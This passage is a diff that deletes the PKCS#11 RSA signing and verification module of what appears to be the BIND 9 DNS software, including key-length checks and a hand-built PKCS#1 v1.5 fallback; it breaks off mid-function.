- * This Source Code Form is subject to the terms of the Mozilla Public
- * License, v. 2.0. If a copy of the MPL was not distributed with this
- * file, you can obtain one at https://mozilla.org/MPL/2.0/.
- *
- * See the COPYRIGHT file distributed with this work for additional
- * information regarding copyright ownership.
- */
-
-/*! \file */
-
-#include <inttypes.h>
-#include <stdbool.h>
-
-#include <isc/mem.h>
-#include <isc/safe.h>
-#include <isc/string.h>
-#include <isc/util.h>
-
-#include <pk11/internal.h>
-#include <pk11/site.h>
-
-#include <dst/result.h>
-
-#include "dst_internal.h"
-#include "dst_parse.h"
-#include "dst_pkcs11.h"
-
-/*
- * Limit the size of public exponents.
- */
-#ifndef RSA_MAX_PUBEXP_BITS
-#define RSA_MAX_PUBEXP_BITS 35
-#endif /* ifndef RSA_MAX_PUBEXP_BITS */
-
-#define DST_RET(a)        \
-	{                 \
-		ret = a;  \
-		goto err; \
-	}
-
-static CK_BBOOL truevalue = TRUE;
-static CK_BBOOL falsevalue = FALSE;
-
-static void
-pkcs11rsa_destroy(dst_key_t *key);
-
-#ifndef PK11_RSA_PKCS_REPLACE
-
-static isc_result_t
-pkcs11rsa_createctx_sign(dst_key_t *key, dst_context_t *dctx) {
-	CK_RV rv;
-	CK_MECHANISM mech = { 0, NULL, 0 };
-	CK_OBJECT_CLASS keyClass = CKO_PRIVATE_KEY;
-	CK_KEY_TYPE keyType = CKK_RSA;
-	CK_ATTRIBUTE keyTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_SENSITIVE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_SIGN, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_MODULUS, NULL, 0 },
-		{ CKA_PUBLIC_EXPONENT, NULL, 0 },
-		{ CKA_PRIVATE_EXPONENT, NULL, 0 },
-		{ CKA_PRIME_1, NULL, 0 },
-		{ CKA_PRIME_2, NULL, 0 },
-		{ CKA_EXPONENT_1, NULL, 0 },
-		{ CKA_EXPONENT_2, NULL, 0 },
-		{ CKA_COEFFICIENT, NULL, 0 }
-	};
-	CK_ATTRIBUTE *attr;
-	CK_SLOT_ID slotid;
-	pk11_object_t *rsa;
-	pk11_context_t *pk11_ctx;
-	isc_result_t ret;
-	unsigned int i;
-
-	REQUIRE(key->key_alg == DST_ALG_RSASHA1 ||
-		key->key_alg == DST_ALG_NSEC3RSASHA1 ||
-		key->key_alg == DST_ALG_RSASHA256 ||
-		key->key_alg == DST_ALG_RSASHA512);
-
-	/*
-	 * Reject incorrect RSA key lengths.
-	 */
-	switch (dctx->key->key_alg) {
-	case DST_ALG_RSASHA1:
-	case DST_ALG_NSEC3RSASHA1:
-		/* From RFC 3110 */
-		if (dctx->key->key_size > 4096) {
-			return (ISC_R_FAILURE);
-		}
-		break;
-	case DST_ALG_RSASHA256:
-		/* From RFC 5702 */
-		if ((dctx->key->key_size < 512) || (dctx->key->key_size > 4096))
-		{
-			return (ISC_R_FAILURE);
-		}
-		break;
-	case DST_ALG_RSASHA512:
-		/* From RFC 5702 */
-		if ((dctx->key->key_size < 1024) ||
-		    (dctx->key->key_size > 4096)) {
-			return (ISC_R_FAILURE);
-		}
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	rsa = key->keydata.pkey;
-
-	pk11_ctx = isc_mem_get(dctx->mctx, sizeof(*pk11_ctx));
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	if (rsa->ontoken) {
-		slotid = rsa->slot;
-	} else {
-		slotid = pk11_get_best_token(OP_RSA);
-	}
-	ret = pk11_get_session(pk11_ctx, OP_RSA, true, false, rsa->reqlogon,
-			       NULL, slotid);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	if (rsa->ontoken && (rsa->object != CK_INVALID_HANDLE)) {
-		pk11_ctx->ontoken = rsa->ontoken;
-		pk11_ctx->object = rsa->object;
-		goto token_key;
-	}
-
-	for (attr = pk11_attribute_first(rsa); attr != NULL;
-	     attr = pk11_attribute_next(rsa, attr))
-		switch (attr->type) {
-		case CKA_MODULUS:
-			INSIST(keyTemplate[6].type == attr->type);
-			keyTemplate[6].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[6].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[6].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_PUBLIC_EXPONENT:
-			INSIST(keyTemplate[7].type == attr->type);
-			keyTemplate[7].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[7].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[7].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_PRIVATE_EXPONENT:
-			INSIST(keyTemplate[8].type == attr->type);
-			keyTemplate[8].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[8].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[8].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_PRIME_1:
-			INSIST(keyTemplate[9].type == attr->type);
-			keyTemplate[9].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[9].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[9].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_PRIME_2:
-			INSIST(keyTemplate[10].type == attr->type);
-			keyTemplate[10].pValue = isc_mem_get(dctx->mctx,
-							     attr->ulValueLen);
-			memmove(keyTemplate[10].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[10].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_EXPONENT_1:
-			INSIST(keyTemplate[11].type == attr->type);
-			keyTemplate[11].pValue = isc_mem_get(dctx->mctx,
-							     attr->ulValueLen);
-			memmove(keyTemplate[11].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[11].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_EXPONENT_2:
-			INSIST(keyTemplate[12].type == attr->type);
-			keyTemplate[12].pValue = isc_mem_get(dctx->mctx,
-							     attr->ulValueLen);
-			memmove(keyTemplate[12].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[12].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_COEFFICIENT:
-			INSIST(keyTemplate[13].type == attr->type);
-			keyTemplate[13].pValue = isc_mem_get(dctx->mctx,
-							     attr->ulValueLen);
-			memmove(keyTemplate[13].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[13].ulValueLen = attr->ulValueLen;
-			break;
-		}
-	pk11_ctx->object = CK_INVALID_HANDLE;
-	pk11_ctx->ontoken = false;
-	PK11_RET(pkcs_C_CreateObject,
-		 (pk11_ctx->session, keyTemplate, (CK_ULONG)14,
-		  &pk11_ctx->object),
-		 ISC_R_FAILURE);
-
-token_key:
-
-	switch (dctx->key->key_alg) {
-	case DST_ALG_RSASHA1:
-	case DST_ALG_NSEC3RSASHA1:
-		mech.mechanism = CKM_SHA1_RSA_PKCS;
-		break;
-	case DST_ALG_RSASHA256:
-		mech.mechanism = CKM_SHA256_RSA_PKCS;
-		break;
-	case DST_ALG_RSASHA512:
-		mech.mechanism = CKM_SHA512_RSA_PKCS;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	PK11_RET(pkcs_C_SignInit, (pk11_ctx->session, &mech, pk11_ctx->object),
-		 ISC_R_FAILURE);
-
-	dctx->ctxdata.pk11_ctx = pk11_ctx;
-
-	for (i = 6; i <= 13; i++) {
-		if (keyTemplate[i].pValue != NULL) {
-			{
-				isc_safe_memwipe(keyTemplate[i].pValue,
-						 keyTemplate[i].ulValueLen);
-				isc_mem_put(dctx->mctx, keyTemplate[i].pValue,
-					    keyTemplate[i].ulValueLen);
-			}
-		}
-	}
-
-	return (ISC_R_SUCCESS);
-
-err:
-	if (!pk11_ctx->ontoken && (pk11_ctx->object != CK_INVALID_HANDLE)) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, pk11_ctx->object);
-	}
-	for (i = 6; i <= 13; i++) {
-		if (keyTemplate[i].pValue != NULL) {
-			{
-				isc_safe_memwipe(keyTemplate[i].pValue,
-						 keyTemplate[i].ulValueLen);
-				isc_mem_put(dctx->mctx, keyTemplate[i].pValue,
-					    keyTemplate[i].ulValueLen);
-			}
-		}
-	}
-	pk11_return_session(pk11_ctx);
-	isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-	isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	return (ret);
-}
-
-static isc_result_t
-pkcs11rsa_createctx_verify(dst_key_t *key, unsigned int maxbits,
-			   dst_context_t *dctx) {
-	CK_RV rv;
-	CK_MECHANISM mech = { 0, NULL, 0 };
-	CK_OBJECT_CLASS keyClass = CKO_PUBLIC_KEY;
-	CK_KEY_TYPE keyType = CKK_RSA;
-	CK_ATTRIBUTE keyTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_VERIFY, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_MODULUS, NULL, 0 },
-		{ CKA_PUBLIC_EXPONENT, NULL, 0 },
-	};
-	CK_ATTRIBUTE *attr;
-	pk11_object_t *rsa;
-	pk11_context_t *pk11_ctx;
-	isc_result_t ret;
-	unsigned int i;
-
-	REQUIRE(key->key_alg == DST_ALG_RSASHA1 ||
-		key->key_alg == DST_ALG_NSEC3RSASHA1 ||
-		key->key_alg == DST_ALG_RSASHA256 ||
-		key->key_alg == DST_ALG_RSASHA512);
-	REQUIRE(maxbits <= RSA_MAX_PUBEXP_BITS);
-
-	/*
-	 * Reject incorrect RSA key lengths.
-	 */
-	switch (dctx->key->key_alg) {
-	case DST_ALG_RSASHA1:
-	case DST_ALG_NSEC3RSASHA1:
-		/* From RFC 3110 */
-		if (dctx->key->key_size > 4096) {
-			return (ISC_R_FAILURE);
-		}
-		break;
-	case DST_ALG_RSASHA256:
-		/* From RFC 5702 */
-		if ((dctx->key->key_size < 512) || (dctx->key->key_size > 4096))
-		{
-			return (ISC_R_FAILURE);
-		}
-		break;
-	case DST_ALG_RSASHA512:
-		/* From RFC 5702 */
-		if ((dctx->key->key_size < 1024) ||
-		    (dctx->key->key_size > 4096)) {
-			return (ISC_R_FAILURE);
-		}
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	rsa = key->keydata.pkey;
-
-	pk11_ctx = isc_mem_get(dctx->mctx, sizeof(*pk11_ctx));
-	ret = pk11_get_session(pk11_ctx, OP_RSA, true, false, rsa->reqlogon,
-			       NULL, pk11_get_best_token(OP_RSA));
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	for (attr = pk11_attribute_first(rsa); attr != NULL;
-	     attr = pk11_attribute_next(rsa, attr))
-	{
-		unsigned int bits;
-
-		switch (attr->type) {
-		case CKA_MODULUS:
-			INSIST(keyTemplate[5].type == attr->type);
-			keyTemplate[5].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[5].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[5].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_PUBLIC_EXPONENT:
-			INSIST(keyTemplate[6].type == attr->type);
-			keyTemplate[6].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[6].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[6].ulValueLen = attr->ulValueLen;
-			ret = pk11_numbits(attr->pValue, attr->ulValueLen,
-					   &bits);
-			if (ret != ISC_R_SUCCESS ||
-			    (bits > maxbits && maxbits != 0)) {
-				DST_RET(DST_R_VERIFYFAILURE);
-			}
-			break;
-		}
-	}
-	pk11_ctx->object = CK_INVALID_HANDLE;
-	pk11_ctx->ontoken = false;
-	PK11_RET(pkcs_C_CreateObject,
-		 (pk11_ctx->session, keyTemplate, (CK_ULONG)7,
-		  &pk11_ctx->object),
-		 ISC_R_FAILURE);
-
-	switch (dctx->key->key_alg) {
-	case DST_ALG_RSASHA1:
-	case DST_ALG_NSEC3RSASHA1:
-		mech.mechanism = CKM_SHA1_RSA_PKCS;
-		break;
-	case DST_ALG_RSASHA256:
-		mech.mechanism = CKM_SHA256_RSA_PKCS;
-		break;
-	case DST_ALG_RSASHA512:
-		mech.mechanism = CKM_SHA512_RSA_PKCS;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	PK11_RET(pkcs_C_VerifyInit,
-		 (pk11_ctx->session, &mech, pk11_ctx->object), ISC_R_FAILURE);
-
-	dctx->ctxdata.pk11_ctx = pk11_ctx;
-
-	for (i = 5; i <= 6; i++) {
-		if (keyTemplate[i].pValue != NULL) {
-			{
-				isc_safe_memwipe(keyTemplate[i].pValue,
-						 keyTemplate[i].ulValueLen);
-				isc_mem_put(dctx->mctx, keyTemplate[i].pValue,
-					    keyTemplate[i].ulValueLen);
-			}
-		}
-	}
-
-	return (ISC_R_SUCCESS);
-
-err:
-	if (!pk11_ctx->ontoken && (pk11_ctx->object != CK_INVALID_HANDLE)) {
-		(void)pkcs_C_DestroyObject(pk11_ctx->session, pk11_ctx->object);
-	}
-	for (i = 5; i <= 6; i++) {
-		if (keyTemplate[i].pValue != NULL) {
-			{
-				isc_safe_memwipe(keyTemplate[i].pValue,
-						 keyTemplate[i].ulValueLen);
-				isc_mem_put(dctx->mctx, keyTemplate[i].pValue,
-					    keyTemplate[i].ulValueLen);
-			}
-		}
-	}
-	pk11_return_session(pk11_ctx);
-	isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-	isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	return (ret);
-}
-
-static isc_result_t
-pkcs11rsa_createctx(dst_key_t *key, dst_context_t *dctx) {
-	if (dctx->use == DO_SIGN) {
-		return (pkcs11rsa_createctx_sign(key, dctx));
-	} else {
-		return (pkcs11rsa_createctx_verify(key, 0U, dctx));
-	}
-}
-
-static isc_result_t
-pkcs11rsa_createctx2(dst_key_t *key, int maxbits, dst_context_t *dctx) {
-	if (dctx->use == DO_SIGN) {
-		return (pkcs11rsa_createctx_sign(key, dctx));
-	} else {
-		return (pkcs11rsa_createctx_verify(key, (unsigned)maxbits,
-						   dctx));
-	}
-}
-
-static void
-pkcs11rsa_destroyctx(dst_context_t *dctx) {
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-
-	if (pk11_ctx != NULL) {
-		if (!pk11_ctx->ontoken &&
-		    (pk11_ctx->object != CK_INVALID_HANDLE)) {
-			(void)pkcs_C_DestroyObject(pk11_ctx->session,
-						   pk11_ctx->object);
-		}
-		pk11_return_session(pk11_ctx);
-		isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-		isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-		dctx->ctxdata.pk11_ctx = NULL;
-	}
-}
-
-static isc_result_t
-pkcs11rsa_adddata(dst_context_t *dctx, const isc_region_t *data) {
-	CK_RV rv;
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-	isc_result_t ret = ISC_R_SUCCESS;
-
-	if (dctx->use == DO_SIGN) {
-		PK11_CALL(pkcs_C_SignUpdate,
-			  (pk11_ctx->session, (CK_BYTE_PTR)data->base,
-			   (CK_ULONG)data->length),
-			  ISC_R_FAILURE);
-	} else {
-		PK11_CALL(pkcs_C_VerifyUpdate,
-			  (pk11_ctx->session, (CK_BYTE_PTR)data->base,
-			   (CK_ULONG)data->length),
-			  ISC_R_FAILURE);
-	}
-	return (ret);
-}
-
-static isc_result_t
-pkcs11rsa_sign(dst_context_t *dctx, isc_buffer_t *sig) {
-	CK_RV rv;
-	CK_ULONG siglen = 0;
-	isc_region_t r;
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-	isc_result_t ret = ISC_R_SUCCESS;
-
-	PK11_RET(pkcs_C_SignFinal, (pk11_ctx->session, NULL, &siglen),
-		 DST_R_SIGNFAILURE);
-
-	isc_buffer_availableregion(sig, &r);
-
-	if (r.length < (unsigned int)siglen) {
-		return (ISC_R_NOSPACE);
-	}
-
-	PK11_RET(pkcs_C_SignFinal,
-		 (pk11_ctx->session, (CK_BYTE_PTR)r.base, &siglen),
-		 DST_R_SIGNFAILURE);
-
-	isc_buffer_add(sig, (unsigned int)siglen);
-
-err:
-	return (ret);
-}
-
-static isc_result_t
-pkcs11rsa_verify(dst_context_t *dctx, const isc_region_t *sig) {
-	CK_RV rv;
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-	isc_result_t ret = ISC_R_SUCCESS;
-
-	PK11_CALL(pkcs_C_VerifyFinal,
-		  (pk11_ctx->session, (CK_BYTE_PTR)sig->base,
-		   (CK_ULONG)sig->length),
-		  DST_R_VERIFYFAILURE);
-	return (ret);
-}
-
-#else /* ifndef PK11_RSA_PKCS_REPLACE */
-
-/*
- * CKM_<hash>_RSA_PKCS mechanisms are not available so fall back
- * to CKM_RSA_PKCS and do the EMSA-PKCS#1-v1.5 encapsulation by hand.
- */
-
-CK_BYTE md5_der[] = { 0x30, 0x20, 0x30, 0x0c, 0x06, 0x08, 0x2a, 0x86, 0x48,
-		      0x86, 0xf7, 0x0d, 0x02, 0x05, 0x05, 0x00, 0x04, 0x10 };
-CK_BYTE sha1_der[] = { 0x30, 0x21, 0x30, 0x09, 0x06, 0x05, 0x2b, 0x0e,
-		       0x03, 0x02, 0x1a, 0x05, 0x00, 0x04, 0x14 };
-CK_BYTE sha256_der[] = { 0x30, 0x31, 0x30, 0x0d, 0x06, 0x09, 0x60,
-			 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02,
-			 0x01, 0x05, 0x00, 0x04, 0x20 };
-CK_BYTE sha512_der[] = { 0x30, 0x51, 0x30, 0x0d, 0x06, 0x09, 0x60,
-			 0x86, 0x48, 0x01, 0x65, 0x03, 0x04, 0x02,
-			 0x03, 0x05, 0x00, 0x04, 0x40 };
-#define MAX_DER_SIZE	 19
-#define MIN_PKCS1_PADLEN 11
-
-static isc_result_t
-pkcs11rsa_createctx(dst_key_t *key, dst_context_t *dctx) {
-	CK_RV rv;
-	CK_MECHANISM mech = { 0, NULL, 0 };
-	CK_SLOT_ID slotid;
-	pk11_object_t *rsa = key->keydata.pkey;
-	pk11_context_t *pk11_ctx;
-	isc_result_t ret;
-
-	REQUIRE(key->key_alg == DST_ALG_RSASHA1 ||
-		key->key_alg == DST_ALG_NSEC3RSASHA1 ||
-		key->key_alg == DST_ALG_RSASHA256 ||
-		key->key_alg == DST_ALG_RSASHA512);
-	REQUIRE(rsa != NULL);
-
-	/*
-	 * Reject incorrect RSA key lengths.
-	 */
-	switch (dctx->key->key_alg) {
-	case DST_ALG_RSASHA1:
-	case DST_ALG_NSEC3RSASHA1:
-		/* From RFC 3110 */
-		if (dctx->key->key_size > 4096) {
-			return (ISC_R_FAILURE);
-		}
-		break;
-	case DST_ALG_RSASHA256:
-		/* From RFC 5702 */
-		if ((dctx->key->key_size < 512) || (dctx->key->key_size > 4096))
-		{
-			return (ISC_R_FAILURE);
-		}
-		break;
-	case DST_ALG_RSASHA512:
-		/* From RFC 5702 */
-		if ((dctx->key->key_size < 1024) ||
-		    (dctx->key->key_size > 4096)) {
-			return (ISC_R_FAILURE);
-		}
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	switch (key->key_alg) {
-	case DST_ALG_RSASHA1:
-	case DST_ALG_NSEC3RSASHA1:
-		mech.mechanism = CKM_SHA_1;
-		break;
-	case DST_ALG_RSASHA256:
-		mech.mechanism = CKM_SHA256;
-		break;
-	case DST_ALG_RSASHA512:
-		mech.mechanism = CKM_SHA512;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	pk11_ctx = isc_mem_get(dctx->mctx, sizeof(*pk11_ctx));
-	memset(pk11_ctx, 0, sizeof(*pk11_ctx));
-	if (rsa->ontoken) {
-		slotid = rsa->slot;
-	} else {
-		slotid = pk11_get_best_token(OP_RSA);
-	}
-	ret = pk11_get_session(pk11_ctx, OP_RSA, true, false, rsa->reqlogon,
-			       NULL, slotid);
-	if (ret != ISC_R_SUCCESS) {
-		goto err;
-	}
-
-	PK11_RET(pkcs_C_DigestInit, (pk11_ctx->session, &mech), ISC_R_FAILURE);
-	dctx->ctxdata.pk11_ctx = pk11_ctx;
-	return (ISC_R_SUCCESS);
-
-err:
-	pk11_return_session(pk11_ctx);
-	isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-	isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-
-	return (ret);
-}
-
-static void
-pkcs11rsa_destroyctx(dst_context_t *dctx) {
-	CK_BYTE garbage[ISC_SHA512_DIGESTLENGTH];
-	CK_ULONG len = ISC_SHA512_DIGESTLENGTH;
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-
-	if (pk11_ctx != NULL) {
-		(void)pkcs_C_DigestFinal(pk11_ctx->session, garbage, &len);
-		isc_safe_memwipe(garbage, sizeof(garbage));
-		pk11_return_session(pk11_ctx);
-		isc_safe_memwipe(pk11_ctx, sizeof(*pk11_ctx));
-		isc_mem_put(dctx->mctx, pk11_ctx, sizeof(*pk11_ctx));
-		dctx->ctxdata.pk11_ctx = NULL;
-	}
-}
-
-static isc_result_t
-pkcs11rsa_adddata(dst_context_t *dctx, const isc_region_t *data) {
-	CK_RV rv;
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-	isc_result_t ret = ISC_R_SUCCESS;
-
-	PK11_CALL(pkcs_C_DigestUpdate,
-		  (pk11_ctx->session, (CK_BYTE_PTR)data->base,
-		   (CK_ULONG)data->length),
-		  ISC_R_FAILURE);
-
-	return (ret);
-}
-
-static isc_result_t
-pkcs11rsa_sign(dst_context_t *dctx, isc_buffer_t *sig) {
-	CK_RV rv;
-	CK_MECHANISM mech = { CKM_RSA_PKCS, NULL, 0 };
-	CK_OBJECT_HANDLE hKey = CK_INVALID_HANDLE;
-	CK_OBJECT_CLASS keyClass = CKO_PRIVATE_KEY;
-	CK_KEY_TYPE keyType = CKK_RSA;
-	CK_ATTRIBUTE keyTemplate[] = {
-		{ CKA_CLASS, &keyClass, (CK_ULONG)sizeof(keyClass) },
-		{ CKA_KEY_TYPE, &keyType, (CK_ULONG)sizeof(keyType) },
-		{ CKA_TOKEN, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_PRIVATE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_SENSITIVE, &falsevalue, (CK_ULONG)sizeof(falsevalue) },
-		{ CKA_SIGN, &truevalue, (CK_ULONG)sizeof(truevalue) },
-		{ CKA_MODULUS, NULL, 0 },
-		{ CKA_PUBLIC_EXPONENT, NULL, 0 },
-		{ CKA_PRIVATE_EXPONENT, NULL, 0 },
-		{ CKA_PRIME_1, NULL, 0 },
-		{ CKA_PRIME_2, NULL, 0 },
-		{ CKA_EXPONENT_1, NULL, 0 },
-		{ CKA_EXPONENT_2, NULL, 0 },
-		{ CKA_COEFFICIENT, NULL, 0 }
-	};
-	CK_ATTRIBUTE *attr;
-	CK_BYTE digest[MAX_DER_SIZE + ISC_SHA512_DIGESTLENGTH];
-	CK_BYTE *der;
-	CK_ULONG derlen;
-	CK_ULONG hashlen;
-	CK_ULONG dgstlen;
-	CK_ULONG siglen = 0;
-	pk11_context_t *pk11_ctx = dctx->ctxdata.pk11_ctx;
-	dst_key_t *key = dctx->key;
-	pk11_object_t *rsa = key->keydata.pkey;
-	isc_region_t r;
-	isc_result_t ret = ISC_R_SUCCESS;
-	unsigned int i;
-
-	REQUIRE(key->key_alg == DST_ALG_RSASHA1 ||
-		key->key_alg == DST_ALG_NSEC3RSASHA1 ||
-		key->key_alg == DST_ALG_RSASHA256 ||
-		key->key_alg == DST_ALG_RSASHA512);
-	REQUIRE(rsa != NULL);
-
-	/*
-	 * Reject incorrect RSA key lengths.
-	 */
-	switch (dctx->key->key_alg) {
-	case DST_ALG_RSASHA1:
-	case DST_ALG_NSEC3RSASHA1:
-		/* From RFC 3110 */
-		if (dctx->key->key_size > 4096) {
-			return (ISC_R_FAILURE);
-		}
-		break;
-	case DST_ALG_RSASHA256:
-		/* From RFC 5702 */
-		if ((dctx->key->key_size < 512) || (dctx->key->key_size > 4096))
-		{
-			return (ISC_R_FAILURE);
-		}
-		break;
-	case DST_ALG_RSASHA512:
-		/* From RFC 5702 */
-		if ((dctx->key->key_size < 1024) ||
-		    (dctx->key->key_size > 4096)) {
-			return (ISC_R_FAILURE);
-		}
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-
-	switch (key->key_alg) {
-	case DST_ALG_RSASHA1:
-	case DST_ALG_NSEC3RSASHA1:
-		der = sha1_der;
-		derlen = sizeof(sha1_der);
-		hashlen = ISC_SHA1_DIGESTLENGTH;
-		break;
-	case DST_ALG_RSASHA256:
-		der = sha256_der;
-		derlen = sizeof(sha256_der);
-		hashlen = ISC_SHA256_DIGESTLENGTH;
-		break;
-	case DST_ALG_RSASHA512:
-		der = sha512_der;
-		derlen = sizeof(sha512_der);
-		hashlen = ISC_SHA512_DIGESTLENGTH;
-		break;
-	default:
-		INSIST(0);
-		ISC_UNREACHABLE();
-	}
-	dgstlen = derlen + hashlen;
-	INSIST(dgstlen <= sizeof(digest));
-	memmove(digest, der, derlen);
-
-	PK11_RET(pkcs_C_DigestFinal,
-		 (pk11_ctx->session, digest + derlen, &hashlen),
-		 DST_R_SIGNFAILURE);
-
-	isc_buffer_availableregion(sig, &r);
-	if (r.length < (unsigned int)dgstlen + MIN_PKCS1_PADLEN) {
-		return (ISC_R_NOSPACE);
-	}
-
-	if (rsa->ontoken && (rsa->object != CK_INVALID_HANDLE)) {
-		pk11_ctx->ontoken = rsa->ontoken;
-		pk11_ctx->object = rsa->object;
-		goto token_key;
-	}
-
-	for (attr = pk11_attribute_first(rsa); attr != NULL;
-	     attr = pk11_attribute_next(rsa, attr))
-		switch (attr->type) {
-		case CKA_MODULUS:
-			INSIST(keyTemplate[6].type == attr->type);
-			keyTemplate[6].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[6].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[6].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_PUBLIC_EXPONENT:
-			INSIST(keyTemplate[7].type == attr->type);
-			keyTemplate[7].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[7].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[7].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_PRIVATE_EXPONENT:
-			INSIST(keyTemplate[8].type == attr->type);
-			keyTemplate[8].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[8].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[8].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_PRIME_1:
-			INSIST(keyTemplate[9].type == attr->type);
-			keyTemplate[9].pValue = isc_mem_get(dctx->mctx,
-							    attr->ulValueLen);
-			memmove(keyTemplate[9].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[9].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_PRIME_2:
-			INSIST(keyTemplate[10].type == attr->type);
-			keyTemplate[10].pValue = isc_mem_get(dctx->mctx,
-							     attr->ulValueLen);
-			memmove(keyTemplate[10].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[10].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_EXPONENT_1:
-			INSIST(keyTemplate[11].type == attr->type);
-			keyTemplate[11].pValue = isc_mem_get(dctx->mctx,
-							     attr->ulValueLen);
-			memmove(keyTemplate[11].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[11].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_EXPONENT_2:
-			INSIST(keyTemplate[12].type == attr->type);
-			keyTemplate[12].pValue = isc_mem_get(dctx->mctx,
-							     attr->ulValueLen);
-			memmove(keyTemplate[12].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[12].ulValueLen = attr->ulValueLen;
-			break;
-		case CKA_COEFFICIENT:
-			INSIST(keyTemplate[13].type == attr->type);
-			keyTemplate[13].pValue = isc_mem_get(dctx->mctx,
-							     attr->ulValueLen);
-			memmove(keyTemplate[13].pValue, attr->pValue,
-				attr->ulValueLen);
-			keyTemplate[13].ulValueLen = attr->ulValueLen;
-			break;
-		}
-	pk11_ctx->object = CK_INVALID_HANDLE;
-	pk11_ctx->ontoken = false;
-	PK11_RET(pkcs_C_CreateObject,
-		 (pk11_ctx->session, keyTemplate, (CK_ULONG)14, &hKey),
-		 ISC_R_FAILURE);
-
-token_key:
-
-	PK11_RET(pkcs_C_SignInit,
